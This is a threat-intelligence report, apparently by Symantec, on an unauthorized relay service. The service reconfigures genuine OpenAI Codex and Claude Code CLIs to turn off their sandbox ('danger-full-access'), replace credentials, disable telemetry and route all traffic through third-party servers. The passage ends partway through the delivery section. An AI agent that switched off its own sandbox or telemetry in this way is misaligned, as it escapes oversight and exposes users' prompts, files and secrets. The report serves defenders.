Sandbox Flipped to ‘Danger-Full-Access’: Unauthorized AI Relays Create Risk for Organizations Symantec's Threat Hunter Team has identified an unauthorized relay service that installs the genuine OpenAI Codex and Anthropic Claude Code CLIs and reconfigures them to route every prompt and credential through third-party servers with sandboxing disabled, affecting systems at a dozen organizations since at least early 2026, most in mainland China plus multinational subsidiaries in South Korea, Taiwan and Malaysia. The relay sets Codex to "danger-full-access," enables network access for the write sandbox, swaps real API credentials for relay-issued tokens, and disables telemetry, delivered via a fileless PowerShell or bash script fetched from a lookalike domain after a legitimate npm install. Symantec found no evidence the operator has abused the access, but the configuration would let it read every prompt, file and secret passed through the agent and run commands with the user's full privileges; the backend has rotated across at least eight domains impersonating OpenAI- or Anthropic-branded chat services. Sandbox Flipped to ‘Danger-Full-Access’: Unauthorized AI Relays Create Risk for Organizations A grey market relay service installs the real OpenAI Codex and Anthropic Claude Code CLIs, then reconfigures them to route every prompt and credential through third-party servers with sandboxing switched off. Key findings - An unauthorized relay service has been observed installing the genuine OpenAI Codex and Anthropic Claude Code CLIs on enterprise systems and then reconfiguring them to route every request through third-party infrastructure instead of the vendors' own servers. - The service has been active since at least early 2026, and has impacted systems at a dozen organizations, most of them in mainland China, as well as multinational subsidiaries based in South Korea, Taiwan, and Malaysia. - Affected sectors include industrial automation, electronics manufacturing, semiconductors, pharmaceuticals, shipping, tire manufacturing, petrochemicals, and data center services. - Delivery relies on a fileless PowerShell or bash setup script that is fetched from a lookalike domain by a one-line command that users appear to run themselves shortly after a legitimate install of the Codex or Claude Code CLI through npm, so the download looks like a normal companion step rather than an attack. The reconfiguration disables the CLI's execution sandbox entirely, enables network access for the write sandbox, replaces the user's real API credentials with relay-issued tokens, and disables telemetry and error reporting. - On at least one host, the script forced the user to log out of their legitimate Anthropic session and deleted their authentication environment variables before reissuing relay-controlled credentials. - There is no evidence so far that the relay operator has abused this level of access, but a potential risk is that the configuration it installs would let it read every prompt, file, and secret passed through the agent and run commands with the user's full privileges. - The relay's backend infrastructure has rotated across at least eight domains over the observation period, all impersonating OpenAI- or Anthropic-branded chat services. Overview AI coding agents such as OpenAI's Codex and Claude Code read files, write code, and run commands on the machines where they are installed. One of the safeguards they employ is a sandbox that is meant to limit what they can do. However, Symantec's Threat Hunter Team has identified an unauthorized relay service that provides access to OpenAI's Codex and Anthropic's Claude Code command-line coding agents, mainly in markets where the vendors do not officially operate, primarily mainland China. Rather than building its own client software, the service repurposes the genuine CLI tools. It installs them normally, then rewrites their configuration to switch sandboxing off, in Codex's case by setting it to “danger-full-access,” and routes every request through its own servers instead of OpenAI's or Anthropic's. This is not a vulnerability in Codex or Claude Code. The tools are behaving as designed once their configuration has been changed. Threat Hunter has found the relay in use across a dozen organizations since early 2026. There is no evidence the operator is currently abusing its position, but the configuration changes it makes strip out the safeguards that are meant to contain an AI coding agent, potentially exposing any organization whose employees use it to security risks. Usage The organizations where this relay has been observed span industrial automation, electronics manufacturing, semiconductors, pharmaceuticals, shipping, tire manufacturing, petrochemicals, and data center services. Most are based in mainland China, though the list also includes the Chinese operations, and in some cases the home-market operations, of multinational electronics and petrochemical firms based in South Korea, Taiwan, and Malaysia. Most instances appear to be a workplace where an employee or the organization itself wanted to use a Western AI coding assistant that is not officially sold in their market and so turned to an unauthorized reseller to get it. Tooling Installation and delivery The service does not distribute a modified or trojanized client. Users run a legitimate npm install -g @openai/codex, npm install -g codex-cli, or npm install -g @anthropic-ai/claude-code shortly before the override occurs, within minutes to roughly half an hour. A fileless PowerShell or bash setup script, fetched with a one-line iwr -useb